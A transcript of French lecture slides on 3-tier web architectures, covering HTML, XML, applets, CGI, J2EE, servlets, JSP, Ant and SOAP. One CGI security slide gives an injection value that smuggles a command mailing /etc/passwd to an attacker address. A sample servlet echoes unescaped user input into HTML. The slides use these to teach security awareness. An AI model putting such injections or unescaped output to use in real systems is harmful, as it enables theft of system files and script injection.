les architectures 3-tiers partie i : les applications...
TRANSCRIPT
![Page 1: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/1.jpg)
Les architectures 3-tiersPartie I : les applications WEB
c© Olivier Caron
Polytech’Lille
![Page 2: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/2.jpg)
1
Evolutions logicielles√
Des objets aux composants. . .
I Objets JavaBeans, Objets ActiveX, Objets COM,. . .
Polytech’Lillec© Olivier Caron
![Page 3: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/3.jpg)
1
Evolutions logicielles√
Des objets aux composants. . .
I Objets JavaBeans, Objets ActiveX, Objets COM,. . .√
Des objets aux objets distribues :
I Objets RMI, Objets CORBA, Objets DCOM,. . .
Polytech’Lillec© Olivier Caron
![Page 4: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/4.jpg)
1
Evolutions logicielles√
Des objets aux composants. . .
I Objets JavaBeans, Objets ActiveX, Objets COM,. . .√
Des objets aux objets distribues :
I Objets RMI, Objets CORBA, Objets DCOM,. . .√
Vers des composants distribues :
I composants EJB, composants CORBA, .Net
Polytech’Lillec© Olivier Caron
![Page 5: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/5.jpg)
2
Les architectures 3-tiers (1/3)
...
SGBD
Fichiers
Applets Java
Form HTML
JSP
Composants Serveur
Réseau
Polytech’Lillec© Olivier Caron
![Page 6: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/6.jpg)
3
Les architectures 3-tiers (2/3)√
Le troisieme niveau : les donnees
I Stockage des donnees (SGBD, fichiers,. . .)
I Reutilisation de code existant (ex : processus COBOL)√Le second niveau : le traitement des donnees
I Le programmeur gere le code metier
I Le gestionnaire de composants gere le reste (persistance, transac-
tions, securite. . .).
Polytech’Lillec© Olivier Caron
![Page 7: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/7.jpg)
4
Les architectures 3-tiers (3/3)√
Le premier niveau : l’interface graphique
I Uniquement l’aspect visuel
I Pas de code metier !
I Uniquement affichage et transfert d’informations (formulaires)
I Plusieurs interfaces possibles pour une meme application (Wap, PC,
PDA,. . .)
I Un protocole privilegie : le WEB (http)
• deploiement automatique des applications !
Polytech’Lillec© Olivier Caron
![Page 8: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/8.jpg)
5
Le langage HTML√
Simplification de SGML√CERN de Geneve , les Normes (http://www.w3c.org)√Langage non rigoureux (ex : paragraphe, logiciel tidy)√Langage a base de tag :<nomCommande attribut1=valeur1 ... attributN=valeurN></nomCommande>ou <nomCommande ... />√Des evolutions : DHTML, XHTML,. . .√De l’habillage : flash, javascript,. . .
Polytech’Lillec© Olivier Caron
![Page 9: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/9.jpg)
6
Le langage XML (1/2)√
Langage de balisage de document√Donnees structurees√Format d’echange (MS Office 20XX ?)√Futur langage du Web ?√XML dispose :
I d’un langage de description de format (dtd)
I du code XML (conforme a la dtd)
I et bien plus encore : XSL, XMI,. . .
Polytech’Lillec© Olivier Caron
![Page 10: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/10.jpg)
7
Exemple de code XML<?xml version="1.0" encoding ="UTF-8" standalone="no" ?><!DOCTYPE PROTEIN SYSTEM "protein.dtd"><PROTEIN name="BICOID" length="422">
<GENE name="Bicoid"/><INTERACTION><PROTEIN name="BICOID"/><GENE name="Hunchback"/>
</INTERACTION></PROTEIN>
Polytech’Lillec© Olivier Caron
![Page 11: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/11.jpg)
8
Exemple de code dtd-XML<?xml version="1.0" encoding ="UTF-8" ?><!-- protein.dtd -->
<!ELEMENT PROTEIN (GENE?,INTERACTION*)><!ATTLIST PROTEIN name CDATA #REQUIRED
length CDATA #IMPLIED><!ELEMENT GENE EMPTY><!ATTLIST GENE name CDATA #REQUIRED>
<!ELEMENT INTERACTION(PROTEIN,GENE)>
Polytech’Lillec© Olivier Caron
![Page 12: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/12.jpg)
9
Le langage XML (2/2)√
Definition de parcours de donnees XML : Sax, DOM√Existence de parsers generiques (Java, C, . . .)√Definition de DTD pour differents domaines (molecules, MathML,. . .)√Outils BD et XML (Oracle,. . .)
Polytech’Lillec© Olivier Caron
![Page 13: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/13.jpg)
10
Les pages webs dynamiques : les applets Java (1/3)√
Definition : Une applet Java est un programme compile, telecharge
sur le web, et interprete au sein d’un navigateur.
import java.applet.Applet;import java.awt.Graphics;
public class HelloWorld extends Applet {public void paint(Graphics g) {g.drawString("Hello world!", 50, 25);
}}
Polytech’Lillec© Olivier Caron
![Page 14: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/14.jpg)
11
Pages webs dynamiques : les applets Java (2/3)<HTML><HEAD> <TITLE> A Simple Program </TITLE> </HEAD><BODY>Here is the output of my program:<APPLET CODE="HelloWorld.class" WIDTH=150 HEIGHT=25></APPLET>
</BODY></HTML>√
Clause ARCHIVE√Clause PARAM
Polytech’Lillec© Olivier Caron
![Page 15: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/15.jpg)
12
Pages webs dynamiques : les applets Java (3/3)√
Contraintes de securite : acces disque, acces reseau√Securite de l’applet (ex : mot de passe dans le code)√Le navigateur manipule egalement l’applet (init, start, stop et destroy)
Polytech’Lillec© Olivier Caron
![Page 16: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/16.jpg)
13
Pages webs dynamiques : les programmes CGI (1/3)√
Les programmes C.G.I. : Common Gateway Interface√Execution sur le serveur web√Tout langage qui :
I peut lire des variables d’environnement
I peut lire sur la sortie standard
I ex : shell unix, C, perl,√Pas de notion de session
Polytech’Lillec© Olivier Caron
![Page 17: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/17.jpg)
14
Pages webs dynamiques : les programmes CGI (2/3)√
Un exemple :<form action="http://sweethome/cgi-bin/prog.cgi" method=post>
Votre nom : <input type="text" name="nom"> <p>Votre adresse Email : <input type="text" name="email"><p><input type="submit" value="valider">
</form>√Envoi des donnees par GET : donnees concatenees a l’URL, limitation
taille des donnees, donnees visibles, utilisation possible sans formulaire√Envoi des donnees par POST : donnees envoyes a part, chiffrement
possibles (ENCRYPT), pas de limitation de taille.
Polytech’Lillec© Olivier Caron
![Page 18: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/18.jpg)
15
Pages webs dynamiques : les programmes CGI (3/3)√
Les actions du serveur web :
I Stocke les donnees du formulaire dans une variable d’environnement
I Lance le programme CGI correspondant (verification securite) en
redirigeant la sortie standard.√Attention a la securite, exemple :
code CGI (en shell) : mail $adresse < doc.txt
saisie champ email : [email protected] ; mail badBoy@badLand < /etc/passwd;
Polytech’Lillec© Olivier Caron
![Page 19: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/19.jpg)
16
L’architecture J2EE de SUN (1/2)√
Specifications d’une architecture logicielle basee sur Java
Polytech’Lillec© Olivier Caron
![Page 20: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/20.jpg)
17
L’architecture J2EE de SUN (2/2)√
Notion de serveur d’applications√Gere des containers :
I Containers dedie aux composants web (war file)
I Containers dedie aux composants EJB (jar file)√Uniquement une norme !
Polytech’Lillec© Olivier Caron
![Page 21: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/21.jpg)
18
J2EE : qu’est-ce qu’un composant ?√
Du code respectant un framework particulier (JSP, Servlets, EJB)√Des informations qui permettent de configurer le composant
I Descriptions standardisees au format XML
Polytech’Lillec© Olivier Caron
![Page 22: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/22.jpg)
18
J2EE : qu’est-ce qu’un composant ?√
Du code respectant un framework particulier (JSP, Servlets, EJB)√Des informations qui permettent de configurer le composant
I Descriptions standardisees au format XML√
Reutilisabilite des composants :
I On modifie les descriptions XML, pas le code !
Polytech’Lillec© Olivier Caron
![Page 23: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/23.jpg)
19
Cycle de vie des composants webs J2EE
1. Developpement du composant
2. Archivage du composant dans un fichier normalise (war) avec indications
de deploiement (noms symboliques des composants,. . .)
3. Archivage dans une application j2ee (ear) avec informations de
deploiement
4. Deploiement de l’application vers un serveur d’application compatible
J2EE.
Polytech’Lillec© Olivier Caron
![Page 24: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/24.jpg)
20
Archivage des composants√
Outil d’archivage Jar :
I Implementation Java structure ZIP
I Java donc multi-plate-forme
I exemples utilisation commande :
jar cvf mesComposants.jar mesComposants/
jar tvf mesComposants.jar
jar xvf mesComposants.jar
Polytech’Lillec© Olivier Caron
![Page 25: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/25.jpg)
20
Archivage des composants√
Outil d’archivage Jar :
I Implementation Java structure ZIP
I Java donc multi-plate-forme
I exemples utilisation commande :
jar cvf mesComposants.jar mesComposants/
jar tvf mesComposants.jar
jar xvf mesComposants.jar√
Utilise pour composants webs et ejb, java et applications J2EE
Polytech’Lillec© Olivier Caron
![Page 26: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/26.jpg)
21
Exemple : structure d’une application web
monAppli/META-INF/
application.xmlmesComposantsWeb.war
jar cvf monAppli.earmonAppli/*
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE application PUBLIC ’-//Sun Microsystems,Inc.//DTD J2EE Application 1.3//EN’’http://java.sun.com/dtd/application_1_3.dtd’>
<application><display-name>monAppli</display-name><description>un exemple</description><module><web>
<web-uri>mesComposantsWeb.war</web-uri><context-root>repertoireRacine</context-root>
</web></module>
</application>
Polytech’Lillec© Olivier Caron
![Page 27: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/27.jpg)
22
Exemple : Structure d’un composant web
mesComposantsWeb/WEB-INF/
web.xmlfic.htmlprog.jsp...
jar cvf mesComposantsWeb.jarmesComposantsWeb/*
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE web-app PUBLIC ’-//Sun Microsystems’ ’http://java.sun.com/dtd/web-app_2_3.dtd’><web-app>
<display-name>mesComposantsWeb</display-name><servlet><servlet-name>prog</servlet-name><display-name>prog</display-name><jsp-file>/prog.jsp</jsp-file>
</servlet><servlet-mapping><servlet-name>prog</servlet-name><url-pattern>/progAlias</url-pattern>
</servlet-mapping></web-app>
Polytech’Lillec© Olivier Caron
![Page 28: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/28.jpg)
23
Implementations J2EE√
Produits commerciaux : IBM Websphere, BEA WebLogic,. . .√Produits libres :
I The Jakarta project (http://jakarta.apache.org/)dedie aux applications Web, produit phare :Tomcat (servlets)
I OpenEJB, Sun J2EE,. . .√JBoss (http ://www.jboss.org) :
I Integre Tomcat, SGBD
I Open Source (environ 200 000 telechargements / mois),
I Deploiement equivaut a une copie dans un repertoire !
Polytech’Lillec© Olivier Caron
![Page 29: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/29.jpg)
24
Les pages webs dynamiques : les servlets (1/2)√
Les servlets :√Analogue a CGI (execution cote serveur) mais :
I Langage Java
I module serveur servlets (ex : Tomcat)
I Notion de session !
Polytech’Lillec© Olivier Caron
![Page 30: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/30.jpg)
25
Les pages webs dynamiques : les servlets (2/2)import java.io.*;import javax.servlet.*;import javax.servlet.http.*;public class Hello extends HttpServlet {public void doGet(HttpServletRequest req, HttpServletResponse res)
throws ServletException, IOException {res.setContentType("text/html");PrintWriter out = res.getWriter();String name = req.getParameter("name");out.println("<HTML><HEAD><TITLE>Hello, " + name + "</TITLE></HEAD>");out.println("<BODY>");out.println("Hello, " + name);out.println("</BODY></HTML>");
}}
Polytech’Lillec© Olivier Caron
![Page 31: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/31.jpg)
26
Les pages webs dynamiques : les JSP√
Les Java Server Page (analogue a ASP)
I du code JAVA dans du code HTML (scriptlet)
I Generation automatique de servlets
I Le client ne voit que du code HTML !
Polytech’Lillec© Olivier Caron
![Page 32: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/32.jpg)
27
Les pages webs dynamiques : PHP (1/2)√
Le langage PHP (hors J2EE)
I Un nouveau langage de script !
I API vers plusieurs bases de donnees (Oracle, Sybase, Postgres,. . .)
I Le client ne voit que du code HTML !
Polytech’Lillec© Olivier Caron
![Page 33: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/33.jpg)
28
Un exemple complet JSP (1/6)√Le formulaire HTML<HTML><BODY BGCOLOR = "WHITE"><H3>calculer son salaire</H3><FORM METHOD="GET" ACTION="salaireAlias">Entrez votre nom: <INPUT TYPE="TEXT" NAME="NOM"><P>Entrez votre salaire actuel: <INPUT TYPE="TEXT" NAME="SALAIRE"><INPUT TYPE="SUBMIT" VALUE="Submit"><INPUT TYPE="RESET"></FORM></BODY></HTML>
Polytech’Lillec© Olivier Caron
![Page 34: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/34.jpg)
29
Un exemple complet JSP (2/6)√
Des commentaires
<HTML><HEAD><TITLE>Calcul de l’augmentation</TITLE></HEAD>
<%-- debut commentaireScriptlet pour importer les packages JAVA<%@ indique une directive JSP--%>
Polytech’Lillec© Olivier Caron
![Page 35: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/35.jpg)
30
Un exemple complet JSP (3/6)√
Des directives :
<%@ page import="java.util.*" %>
Polytech’Lillec© Olivier Caron
![Page 36: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/36.jpg)
31
Un exemple complet JSP (4/6)√
Declarations de variables :
<%! String nom, salaire; %><%! double newSalaire ; %>
Polytech’Lillec© Olivier Caron
![Page 37: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/37.jpg)
32
Un exemple complet JSP (5/6)√
scriptlet√Des variables predefinies : request, session, response, out, in<%nom = request.getParameter("NOM");salaire = request.getParameter("SALAIRE");if (nom.equals("caron"))newSalaire=3.0 * (new Integer(salaire).intValue()) ;
elsenewSalaire=1.5 * (new Integer(salaire).intValue()) ;
%>
Polytech’Lillec© Olivier Caron
![Page 38: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/38.jpg)
33
Un exemple complet JSP (6/6)√
Des expressions :
<H1> Calcul du salaire : </H1>Votre salaire vaut maintenant : <%= newSalaire %><P>
Polytech’Lillec© Olivier Caron
![Page 39: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/39.jpg)
34
Plate-forme J2EE Polytech’Lille√
Serveur d’application JBoss (http ://www.jboss.org)√Moteur de servlets Tomcat 4.0√JDK 1.3.1√Outils associes :
I Apache Ant
I XDoclet
I et un editeur texte. . .
Polytech’Lillec© Olivier Caron
![Page 40: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/40.jpg)
35
L’outil Ant√
Un makefile ecrit en Java (donc multi-plateforme :-)√Descriptions XML√OpenSource√De nombreuses taches predefinies (javac, jar, . . .)√Architecture ouverte : on peut creer de nouvelles taches
Polytech’Lillec© Olivier Caron
![Page 41: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/41.jpg)
36
Principe de Ant<!-- fichier build.xml --><project name="exemple"
default="B" basedir="."><target name="A">
<tache1 .../><tache2 .../>
</target><target name="B" depends="A">...</target><target name="C"> ...</target><target name="D" depends="A,B">...</target>
</project>
ant
ant C
ant -f build.xml
ant -f toto.xml D√Description des taches et options
a :
file :///usr/local/xdoclet-1-2b3/docs/index.html
Polytech’Lillec© Olivier Caron
![Page 42: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/42.jpg)
37
Ant par l’exemple<project name="exemple"
default="compile" basedir="."><property name="name"
value="proj" /><property name="src"
value="src" /><property name="build"
value="build" /><target name="init">
<mkdir dir="${build}" /></target>
<target name="compile" depends="init"><javac srcdir="${src}"
destdir="${build}" /><jar jarfile="${name}.jar"
basedir="${build}" /></target>
<target name="clean"<delete dir="${build}" /><delete file="${name}.jar" />
</target></project>
Polytech’Lillec© Olivier Caron
![Page 43: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/43.jpg)
38
Une autre strategie : les “Web Services”√
Le protocole SOAP (Simple Object Access Protocol) :
I Specifications standard WC3
Polytech’Lillec© Olivier Caron
![Page 44: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/44.jpg)
38
Une autre strategie : les “Web Services”√
Le protocole SOAP (Simple Object Access Protocol) :
I Specifications standard WC3
I Microsoft est a l’origine
Polytech’Lillec© Olivier Caron
![Page 45: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/45.jpg)
38
Une autre strategie : les “Web Services”√
Le protocole SOAP (Simple Object Access Protocol) :
I Specifications standard WC3
I Microsoft est a l’origine
I Objectif : fournir un langage derive de XML pour decrire l’echange
de messages entre applications
Polytech’Lillec© Olivier Caron
![Page 46: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/46.jpg)
38
Une autre strategie : les “Web Services”√
Le protocole SOAP (Simple Object Access Protocol) :
I Specifications standard WC3
I Microsoft est a l’origine
I Objectif : fournir un langage derive de XML pour decrire l’echange
de messages entre applications
I S’appuie sur des standards : http, XML
Polytech’Lillec© Olivier Caron
![Page 47: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/47.jpg)
39
Principe de SOAP√
Une commande est envoye sous forme de message XML,
(une sorte de XML-RPC)
Polytech’Lillec© Olivier Caron
![Page 48: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/48.jpg)
39
Principe de SOAP√
Une commande est envoye sous forme de message XML,
(une sorte de XML-RPC)√Transite par le protocole http
Polytech’Lillec© Olivier Caron
![Page 49: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/49.jpg)
39
Principe de SOAP√
Une commande est envoye sous forme de message XML,
(une sorte de XML-RPC)√Transite par le protocole http√Sur le serveur, le message est decode puis execution commande
Polytech’Lillec© Olivier Caron
![Page 50: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/50.jpg)
40
Les avantages de SOAP√
Pas de couche reseau specifique : http standard
Polytech’Lillec© Olivier Caron
![Page 51: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/51.jpg)
40
Les avantages de SOAP√
Pas de couche reseau specifique : http standard√Plus facile a mettre en œuvre que CORBA, RMI, . . .
Polytech’Lillec© Olivier Caron
![Page 52: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/52.jpg)
40
Les avantages de SOAP√
Pas de couche reseau specifique : http standard√Plus facile a mettre en œuvre que CORBA, RMI, . . .√Pas de probleme de firewall, proxys,etc
Polytech’Lillec© Olivier Caron
![Page 53: Les architectures 3-tiers Partie I : les applications WEBocaron.plil.fr/enseignement/al_gis5/coursWeb.pdf · D´efinition : Une applet Java est un programme compil´e, t´elecharg´e](https://reader031.vdocuments.site/reader031/viewer/2022022609/5b919ca309d3f26a278c14de/html5/thumbnails/53.jpg)
40
Les avantages de SOAP√
